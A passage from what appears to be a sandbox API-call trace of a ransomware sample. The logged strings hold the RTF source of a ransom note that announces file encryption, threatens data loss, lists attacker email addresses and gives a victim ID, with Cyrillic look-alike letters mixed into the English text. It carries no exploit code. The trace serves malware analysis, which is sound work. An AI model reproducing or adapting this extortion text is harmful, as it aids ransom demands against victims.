iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 